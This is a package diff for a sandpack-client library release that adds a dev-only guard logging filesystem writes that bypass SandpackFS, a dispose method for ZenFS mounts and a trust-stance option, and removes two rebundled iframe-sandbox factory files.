  * Path (within the SandpackFS) of the sidecar metadata file. Anything below
@@ -7,6 +7,70 @@ import { mount, bindContext, resolveMountConfig, InMemory } from '@zenfs/core';
  */
 var META_PATH = "/.sandpack/meta.json";
 var META_DIR = "/.sandpack";
+/**
+ * Dev-only flag, using the standard `process.env.NODE_ENV` convention. This dist is
+ * always consumed by a bundler (site-main, the sandbox) that statically replaces
+ * `process.env.NODE_ENV`, so in a production build this folds to `false` and the
+ * `if (IS_DEV)` branch — with the whole {@link installOutOfBandGuard} function it is
+ * the only reference to — is dead-code-eliminated (verified with terser: the
+ * assertion string is absent once `NODE_ENV="production"`). The bare form (no
+ * `typeof` guard) is what lets it fold to a literal; a `typeof process` guard would
+ * defeat the elimination.
+ */
+var IS_DEV = process.env.NODE_ENV !== "production";
+/**
+ * The ZenFS `fs.promises` methods that mutate the store. In dev these are wrapped
+ * (see {@link installOutOfBandGuard}) so a write that reaches this instance's
+ * bound-context fs **without** going through `SandpackFS.writeFile` is caught.
+ * Reads (`readFile`/`readdir`/`stat`) are never guarded.
+ */
+var GUARDED_WRITE_METHODS = [
+    "writeFile",
+    "unlink",
+    "mkdir",
+    "rename",
+    "appendFile",
+    "truncate",
+    "rm",
+    "rmdir",
+];
+/**
+ * Dev-only. Wrap the store-mutating methods on a SandpackFS instance's
+ * bound-context `fs.promises` so any write that did **not** go through
+ * `SandpackFS.writeFile` / `handleRemoteChange` (those use captured raw methods,
+ * which stay unwrapped) emits a single loud `console.error` naming the offending
+ * method + path, then still performs the write. Enforces the class writer invariant
+ * (roadmap R3-110).
+ *
+ * This is a module-level function (not a class method) and its **only** reference
+ * is behind the `if (IS_DEV)` branch in the constructor — so once a consumer's
+ * production build folds `IS_DEV` to `false`, the branch and this whole function
+ * tree-shake away (a class method would be retained). No-op in production.
+ */
+function installOutOfBandGuard(fsContext) {
+    var p = fsContext.fs.promises;
+    var _loop_1 = function (method) {
+        var original = p[method];
+        if (typeof original !== "function")
+            return "continue";
+        var call = original;
+        p[method] = function () {
+            var args = [];
+            for (var _i = 0; _i < arguments.length; _i++) {
+                args[_i] = arguments[_i];
+            }
+            console.error("[SandpackFS] out-of-band write: '".concat(method, "(").concat(String(args[0]), ")' bypassed SandpackFS.writeFile()/handleRemoteChange(), so it emits ") +
+                "no onChange \u2014 the editor view and bundler relay will miss it. Route the " +
+                "write through SandpackFS (EDITOR_AS_APP_SPEC D-EDIT-1 writer invariant; " +
+                "LOCAL_DEVELOPMENT_SPEC \u00A76.5).");
+            return call.apply(p, args);
+        };
+    };
+    for (var _i = 0, GUARDED_WRITE_METHODS_1 = GUARDED_WRITE_METHODS; _i < GUARDED_WRITE_METHODS_1.length; _i++) {
+        var method = GUARDED_WRITE_METHODS_1[_i];
+        _loop_1(method);
+    }
+}
 var mountCounter = 0;
 var normalize = function (path) {
     return path.startsWith("/") ? path : "/".concat(path);
@@ -19,6 +83,20 @@ var normalize = function (path) {
  * All reads / writes are async. Changes emit a single coalesced notification
  * (watcher or explicit helper calls) so React can subscribe via
  * `useSyncExternalStore`.
+ *
+ * ## Writer invariant (why every mutation must funnel through here)
+ *
+ * The ZenFS `Port` backend does **not** forward watch events across the iframe
+ * boundary, so **every** independent mutator of the shared store MUST route through
+ * {@link SandpackFS.writeFile} (local edits → `external: false`) or
+ * {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
+ * `exportZenFS` → `external: true`). A write that reaches this instance's
+ * bound-context fs by any other path emits no `onChange`, so the editor view and
+ * the bundler relay silently miss it. This is the conflict-model writer invariant
+ * spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
+ * ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
+ * In dev, {@link installOutOfBandGuard} turns that convention into a loud
+ * assertion (roadmap R3-110); in production the guard is compiled out.
  */
 var SandpackFS = /** @class */ (function () {
     function SandpackFS(fsContext, remotePortFactory, 
@@ -35,6 +113,16 @@ var SandpackFS = /** @class */ (function () {
         this.sidecarEnvironment = undefined;
         this.sidecarMode = undefined;
         this.disposed = false;
+        /** The ZenFS mount point this instance created and is therefore allowed to
+         *  unmount in {@link dispose}. Unset for an adopted context, whose lifecycle
+         *  belongs to the caller. */
+        this.ownedMountPoint = undefined;
+        var p = fsContext.fs.promises;
+        this.rawWriteFile = p.writeFile.bind(p);
+        this.rawUnlink = p.unlink.bind(p);
+        this.rawMkdir = p.mkdir.bind(p);
+        if (IS_DEV)
+            installOutOfBandGuard(fsContext);
     }
     /**
      * Create the `MessagePort` shared with the child iframe, wiring the iframe's
@@ -66,6 +154,9 @@ var SandpackFS = /** @class */ (function () {
                         mount(prefix, backend);
                         ctxt = bindContext({ root: prefix });
                         instance = new SandpackFS(ctxt, remotePortFactory, onWrite);
+                        // We created the mount, so we own it: `dispose()` may unmount it. An adopted
+                        // context (`fromFileSystemContext`) leaves this unset and is never unmounted.
+                        instance.ownedMountPoint = prefix;
                         if (options.environment !== undefined) {
                             instance.sidecarEnvironment = options.environment;
                         }
@@ -85,9 +176,7 @@ var SandpackFS = /** @class */ (function () {
      * lifecycle - {@link dispose} will unmount but not destroy the underlying
      * store.
      */
-    SandpackFS.fromFileSystemContext = function (
-    // eslint-disable-next-line @typescript-eslint/no-explicit-any
-    fsContext, remotePortFactory, onWrite) {
+    SandpackFS.fromFileSystemContext = function (fsContext, remotePortFactory, onWrite) {
         return __awaiter(this, void 0, void 0, function () {
             var instance;
             return __generator(this, function (_a) {
@@ -149,7 +238,7 @@ var SandpackFS = /** @class */ (function () {
                         return [4 /*yield*/, this.ensureParent(abs)];
                     case 1:
                         _b.sent();
-                        return [4 /*yield*/, this.fsContext.fs.promises.writeFile(abs, content)];
+                        return [4 /*yield*/, this.rawWriteFile(abs, content)];
                     case 2:
                         _b.sent();
                         normalized = normalize(path);
@@ -166,7 +255,7 @@ var SandpackFS = /** @class */ (function () {
             var normalized;
             return __generator(this, function (_a) {
                 switch (_a.label) {
-                    case 0: return [4 /*yield*/, this.fsContext.fs.promises.unlink(this.toAbs(path))];
+                    case 0: return [4 /*yield*/, this.rawUnlink(this.toAbs(path))];
                     case 1:
                         _a.sent();
                         normalized = normalize(path);
@@ -299,6 +388,30 @@ var SandpackFS = /** @class */ (function () {
             return;
         this.notify({ path: normalize(path), external: true });
     };
+    /**
+     * Tear this instance down: drop every subscriber, stop emitting changes, and
+     * release the ZenFS mount if we created it ({@link fromFiles}). An *adopted*
+     * context ({@link fromFileSystemContext}) is left mounted — its lifecycle
+     * belongs to the caller.
+     *
+     * ZenFS mounts live in a process-globalThis table, so an instance that is never
+     * disposed keeps its backing store alive for the page's lifetime. Idempotent.
+     */
+    SandpackFS.prototype.dispose = function () {
+        if (this.disposed)
+            return;
+        this.disposed = true;
+        this.listeners.clear();
+        if (this.ownedMountPoint) {
+            try {
+                umount(this.ownedMountPoint);
+            }
+            catch (_a) {
+                /* already unmounted — disposal must never throw */
+            }
+            this.ownedMountPoint = undefined;
+        }
+    };
     // ------------------------------------------------------------------
     // Internals
     // ------------------------------------------------------------------
@@ -321,7 +434,7 @@ var SandpackFS = /** @class */ (function () {
                 switch (_b.label) {
                     case 0:
                         _b.trys.push([0, 2, , 3]);
-                        return [4 /*yield*/, this.fsContext.fs.promises.mkdir(META_DIR, {
+                        return [4 /*yield*/, this.rawMkdir(META_DIR, {
                                 recursive: true,
                             })];
                     case 1:
@@ -350,7 +463,7 @@ var SandpackFS = /** @class */ (function () {
                         _b.label = 1;
                     case 1:
                         _b.trys.push([1, 3, , 4]);
-                        return [4 /*yield*/, this.fsContext.fs.promises.mkdir(dir, { recursive: true })];
+                        return [4 /*yield*/, this.rawMkdir(dir, { recursive: true })];
                     case 2:
                         _b.sent();
                         return [3 /*break*/, 4];
@@ -437,7 +550,7 @@ var SandpackFS = /** @class */ (function () {
                         return [4 /*yield*/, this.ensureParent(abs)];
                     case 3:
                         _c.sent();
-                        return [4 /*yield*/, this.fsContext.fs.promises.writeFile(abs, entry.code)];
+                        return [4 /*yield*/, this.rawWriteFile(abs, entry.code)];
                     case 4:
                         _c.sent();
                         fileMeta = {};
@@ -478,7 +591,7 @@ var SandpackFS = /** @class */ (function () {
                         if (this.sidecarMode !== undefined) {
                             sidecar.mode = this.sidecarMode;
                         }
-                        return [4 /*yield*/, this.fsContext.fs.promises.writeFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
+                        return [4 /*yield*/, this.rawWriteFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
                     case 2:
                         _a.sent();
                         return [2 /*return*/];

package/dist/{types-BIIEoWr6.js → types-KEkDKvIe.js}

@@ -9,6 +9,70 @@ var core = require('@zenfs/core');
  */
 var META_PATH = "/.sandpack/meta.json";
 var META_DIR = "/.sandpack";
+/**
+ * Dev-only flag, using the standard `process.env.NODE_ENV` convention. This dist is
+ * always consumed by a bundler (site-main, the sandbox) that statically replaces
+ * `process.env.NODE_ENV`, so in a production build this folds to `false` and the
+ * `if (IS_DEV)` branch — with the whole {@link installOutOfBandGuard} function it is
+ * the only reference to — is dead-code-eliminated (verified with terser: the
+ * assertion string is absent once `NODE_ENV="production"`). The bare form (no
+ * `typeof` guard) is what lets it fold to a literal; a `typeof process` guard would
+ * defeat the elimination.
+ */
+var IS_DEV = process.env.NODE_ENV !== "production";
+/**
+ * The ZenFS `fs.promises` methods that mutate the store. In dev these are wrapped
+ * (see {@link installOutOfBandGuard}) so a write that reaches this instance's
+ * bound-context fs **without** going through `SandpackFS.writeFile` is caught.
+ * Reads (`readFile`/`readdir`/`stat`) are never guarded.
+ */
+var GUARDED_WRITE_METHODS = [
+    "writeFile",
+    "unlink",
+    "mkdir",
+    "rename",
+    "appendFile",
+    "truncate",
+    "rm",
+    "rmdir",
+];
+/**
+ * Dev-only. Wrap the store-mutating methods on a SandpackFS instance's
+ * bound-context `fs.promises` so any write that did **not** go through
+ * `SandpackFS.writeFile` / `handleRemoteChange` (those use captured raw methods,
+ * which stay unwrapped) emits a single loud `console.error` naming the offending
+ * method + path, then still performs the write. Enforces the class writer invariant
+ * (roadmap R3-110).
+ *
+ * This is a module-level function (not a class method) and its **only** reference
+ * is behind the `if (IS_DEV)` branch in the constructor — so once a consumer's
+ * production build folds `IS_DEV` to `false`, the branch and this whole function
+ * tree-shake away (a class method would be retained). No-op in production.
+ */
+function installOutOfBandGuard(fsContext) {
+    var p = fsContext.fs.promises;
+    var _loop_1 = function (method) {
+        var original = p[method];
+        if (typeof original !== "function")
+            return "continue";
+        var call = original;
+        p[method] = function () {
+            var args = [];
+            for (var _i = 0; _i < arguments.length; _i++) {
+                args[_i] = arguments[_i];
+            }
+            console.error("[SandpackFS] out-of-band write: '".concat(method, "(").concat(String(args[0]), ")' bypassed SandpackFS.writeFile()/handleRemoteChange(), so it emits ") +
+                "no onChange \u2014 the editor view and bundler relay will miss it. Route the " +
+                "write through SandpackFS (EDITOR_AS_APP_SPEC D-EDIT-1 writer invariant; " +
+                "LOCAL_DEVELOPMENT_SPEC \u00A76.5).");
+            return call.apply(p, args);
+        };
+    };
+    for (var _i = 0, GUARDED_WRITE_METHODS_1 = GUARDED_WRITE_METHODS; _i < GUARDED_WRITE_METHODS_1.length; _i++) {
+        var method = GUARDED_WRITE_METHODS_1[_i];
+        _loop_1(method);
+    }
+}
 var mountCounter = 0;
 var normalize = function (path) {
     return path.startsWith("/") ? path : "/".concat(path);
@@ -21,6 +85,20 @@ var normalize = function (path) {
  * All reads / writes are async. Changes emit a single coalesced notification
  * (watcher or explicit helper calls) so React can subscribe via
  * `useSyncExternalStore`.
+ *
+ * ## Writer invariant (why every mutation must funnel through here)
+ *
+ * The ZenFS `Port` backend does **not** forward watch events across the iframe
+ * boundary, so **every** independent mutator of the shared store MUST route through
+ * {@link SandpackFS.writeFile} (local edits → `external: false`) or
+ * {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
+ * `exportZenFS` → `external: true`). A write that reaches this instance's
+ * bound-context fs by any other path emits no `onChange`, so the editor view and
+ * the bundler relay silently miss it. This is the conflict-model writer invariant
+ * spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
+ * ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
+ * In dev, {@link installOutOfBandGuard} turns that convention into a loud
+ * assertion (roadmap R3-110); in production the guard is compiled out.
  */
 var SandpackFS = /** @class */ (function () {
     function SandpackFS(fsContext, remotePortFactory, 
@@ -37,6 +115,16 @@ var SandpackFS = /** @class */ (function () {
         this.sidecarEnvironment = undefined;
         this.sidecarMode = undefined;
         this.disposed = false;
+        /** The ZenFS mount point this instance created and is therefore allowed to
+         *  unmount in {@link dispose}. Unset for an adopted context, whose lifecycle
+         *  belongs to the caller. */
+        this.ownedMountPoint = undefined;
+        var p = fsContext.fs.promises;
+        this.rawWriteFile = p.writeFile.bind(p);
+        this.rawUnlink = p.unlink.bind(p);
+        this.rawMkdir = p.mkdir.bind(p);
+        if (IS_DEV)
+            installOutOfBandGuard(fsContext);
     }
     /**
      * Create the `MessagePort` shared with the child iframe, wiring the iframe's
@@ -68,6 +156,9 @@ var SandpackFS = /** @class */ (function () {
                         core.mount(prefix, backend);
                         ctxt = core.bindContext({ root: prefix });
                         instance = new SandpackFS(ctxt, remotePortFactory, onWrite);
+                        // We created the mount, so we own it: `dispose()` may unmount it. An adopted
+                        // context (`fromFileSystemContext`) leaves this unset and is never unmounted.
+                        instance.ownedMountPoint = prefix;
                         if (options.environment !== undefined) {
                             instance.sidecarEnvironment = options.environment;
                         }
@@ -87,9 +178,7 @@ var SandpackFS = /** @class */ (function () {
      * lifecycle - {@link dispose} will unmount but not destroy the underlying
      * store.
      */
-    SandpackFS.fromFileSystemContext = function (
-    // eslint-disable-next-line @typescript-eslint/no-explicit-any
-    fsContext, remotePortFactory, onWrite) {
+    SandpackFS.fromFileSystemContext = function (fsContext, remotePortFactory, onWrite) {
         return utils.__awaiter(this, void 0, void 0, function () {
             var instance;
             return utils.__generator(this, function (_a) {
@@ -151,7 +240,7 @@ var SandpackFS = /** @class */ (function () {
                         return [4 /*yield*/, this.ensureParent(abs)];
                     case 1:
                         _b.sent();
-                        return [4 /*yield*/, this.fsContext.fs.promises.writeFile(abs, content)];
+                        return [4 /*yield*/, this.rawWriteFile(abs, content)];
                     case 2:
                         _b.sent();
                         normalized = normalize(path);
@@ -168,7 +257,7 @@ var SandpackFS = /** @class */ (function () {
             var normalized;
             return utils.__generator(this, function (_a) {
                 switch (_a.label) {
-                    case 0: return [4 /*yield*/, this.fsContext.fs.promises.unlink(this.toAbs(path))];
+                    case 0: return [4 /*yield*/, this.rawUnlink(this.toAbs(path))];
                     case 1:
                         _a.sent();
                         normalized = normalize(path);
@@ -301,6 +390,30 @@ var SandpackFS = /** @class */ (function () {
             return;
         this.notify({ path: normalize(path), external: true });
     };
+    /**
+     * Tear this instance down: drop every subscriber, stop emitting changes, and
+     * release the ZenFS mount if we created it ({@link fromFiles}). An *adopted*
+     * context ({@link fromFileSystemContext}) is left mounted — its lifecycle
+     * belongs to the caller.
+     *
+     * ZenFS mounts live in a process-globalThis table, so an instance that is never
+     * disposed keeps its backing store alive for the page's lifetime. Idempotent.
+     */
+    SandpackFS.prototype.dispose = function () {
+        if (this.disposed)
+            return;
+        this.disposed = true;
+        this.listeners.clear();
+        if (this.ownedMountPoint) {
+            try {
+                core.umount(this.ownedMountPoint);
+            }
+            catch (_a) {
+                /* already unmounted — disposal must never throw */
+            }
+            this.ownedMountPoint = undefined;
+        }
+    };
     // ------------------------------------------------------------------
     // Internals
     // ------------------------------------------------------------------
@@ -323,7 +436,7 @@ var SandpackFS = /** @class */ (function () {
                 switch (_b.label) {
                     case 0:
                         _b.trys.push([0, 2, , 3]);
-                        return [4 /*yield*/, this.fsContext.fs.promises.mkdir(META_DIR, {
+                        return [4 /*yield*/, this.rawMkdir(META_DIR, {
                                 recursive: true,
                             })];
                     case 1:
@@ -352,7 +465,7 @@ var SandpackFS = /** @class */ (function () {
                         _b.label = 1;
                     case 1:
                         _b.trys.push([1, 3, , 4]);
-                        return [4 /*yield*/, this.fsContext.fs.promises.mkdir(dir, { recursive: true })];
+                        return [4 /*yield*/, this.rawMkdir(dir, { recursive: true })];
                     case 2:
                         _b.sent();
                         return [3 /*break*/, 4];
@@ -439,7 +552,7 @@ var SandpackFS = /** @class */ (function () {
                         return [4 /*yield*/, this.ensureParent(abs)];
                     case 3:
                         _c.sent();
-                        return [4 /*yield*/, this.fsContext.fs.promises.writeFile(abs, entry.code)];
+                        return [4 /*yield*/, this.rawWriteFile(abs, entry.code)];
                     case 4:
                         _c.sent();
                         fileMeta = {};
@@ -480,7 +593,7 @@ var SandpackFS = /** @class */ (function () {
                         if (this.sidecarMode !== undefined) {
                             sidecar.mode = this.sidecarMode;
                         }
-                        return [4 /*yield*/, this.fsContext.fs.promises.writeFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
+                        return [4 /*yield*/, this.rawWriteFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
                     case 2:
                         _a.sent();
                         return [2 /*return*/];

package/dist/types.d.ts

@@ -1,3 +1,4 @@
+import type { FrameStance } from "./clients/iframe-factory";
 import type { SandpackNodeMessage } from "./clients/node/types";
 import type { SandpackRuntimeMessage } from "./clients/runtime/types";
 import type { SandpackFS } from "./fs/SandpackFS";
@@ -16,6 +17,14 @@ export interface ClientOptions {
      * Paths to external resources
      */
     externalResources?: string[];
+    /**
+     * The app's resolved trust stance (TRUST_MODES_SPEC §3 / R3-195). Only `"M3"`
+     * (a stranger's app) hardens the emitted iframe (sandbox flags + delegated
+     * features); absent or `"M0"`/`"M1"`/`"M2"` keeps the exact baseline. The host
+     * resolves this; the client never derives it. The per-frame M3 CSP is delivered
+     * with the frame's document (via `bundlerURL`), not here.
+     */
+    stance?: FrameStance;
     /**
      * Location of the bundler.
      */

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@immediately-run/sandpack-client",
-  "version": "2.19.10",
+  "version": "2.21.0",
   "description": "",
   "keywords": [],
   "repository": {

package/dist/iframe-factory-BcC-S_XQ.js

@@ -1,54 +0,0 @@
-'use strict';
-
-/**
- * The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
- * threat T1).
- *
- * App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
- * `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
- * could remove its own sandboxing and reach the parent — the whole capability
- * model collapses. This is the one invariant with no defense-in-depth, so
- * creation is centralized here and the resolved attribute is asserted. Raw
- * `document.createElement('iframe')` for app content elsewhere is forbidden (a
- * greppable CI check), so the verifiable invariant is "every app iframe is born
- * in this factory."
- *
- * Scope: the opaque-origin app iframes (the runtime + static preview clients).
- * The node/nodebox emulator is a different execution model and is intentionally
- * NOT routed through here.
- */
-var APP_SANDBOX = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
-var APP_ALLOW = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
-/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
-function assertOpaqueOrigin(iframe) {
-    var _a;
-    var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
-    if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
-        throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
-            "the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
-    }
-}
-/** Create an opaque-origin sandboxed iframe for running untrusted app code. */
-function createSandboxedIframe(doc) {
-    if (doc === void 0) { doc = document; }
-    var iframe = doc.createElement("iframe");
-    iframe.setAttribute("sandbox", APP_SANDBOX);
-    iframe.setAttribute("allow", APP_ALLOW);
-    assertOpaqueOrigin(iframe);
-    return iframe;
-}
-/**
- * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
- * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
- * this for the case where a host passes in its own iframe element.
- */
-function ensureSandboxed(iframe) {
-    if (!iframe.getAttribute("sandbox")) {
-        iframe.setAttribute("sandbox", APP_SANDBOX);
-        iframe.setAttribute("allow", APP_ALLOW);
-    }
-    assertOpaqueOrigin(iframe);
-}
-
-exports.createSandboxedIframe = createSandboxedIframe;
-exports.ensureSandboxed = ensureSandboxed;

package/dist/iframe-factory-DybmkzJZ.mjs

@@ -1,51 +0,0 @@
-/**
- * The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
- * threat T1).
- *
- * App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
- * `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
- * could remove its own sandboxing and reach the parent — the whole capability
- * model collapses. This is the one invariant with no defense-in-depth, so
- * creation is centralized here and the resolved attribute is asserted. Raw
- * `document.createElement('iframe')` for app content elsewhere is forbidden (a
- * greppable CI check), so the verifiable invariant is "every app iframe is born
- * in this factory."
- *
- * Scope: the opaque-origin app iframes (the runtime + static preview clients).
- * The node/nodebox emulator is a different execution model and is intentionally
- * NOT routed through here.
- */
-var APP_SANDBOX = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
-var APP_ALLOW = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
-/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
-function assertOpaqueOrigin(iframe) {
-    var _a;
-    var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
-    if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
-        throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
-            "the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
-    }
-}
-/** Create an opaque-origin sandboxed iframe for running untrusted app code. */
-function createSandboxedIframe(doc) {
-    if (doc === void 0) { doc = document; }
-    var iframe = doc.createElement("iframe");
-    iframe.setAttribute("sandbox", APP_SANDBOX);
-    iframe.setAttribute("allow", APP_ALLOW);
-    assertOpaqueOrigin(iframe);
-    return iframe;
-}
-/**
- * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
- * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
- * this for the case where a host passes in its own iframe element.
- */
-function ensureSandboxed(iframe) {
-    if (!iframe.getAttribute("sandbox")) {
-        iframe.setAttribute("sandbox", APP_SANDBOX);
-        iframe.setAttribute("allow", APP_ALLOW);
-    }
-    assertOpaqueOrigin(iframe);
-}
-
-export { createSandboxedIframe as c, ensureSandboxed as e };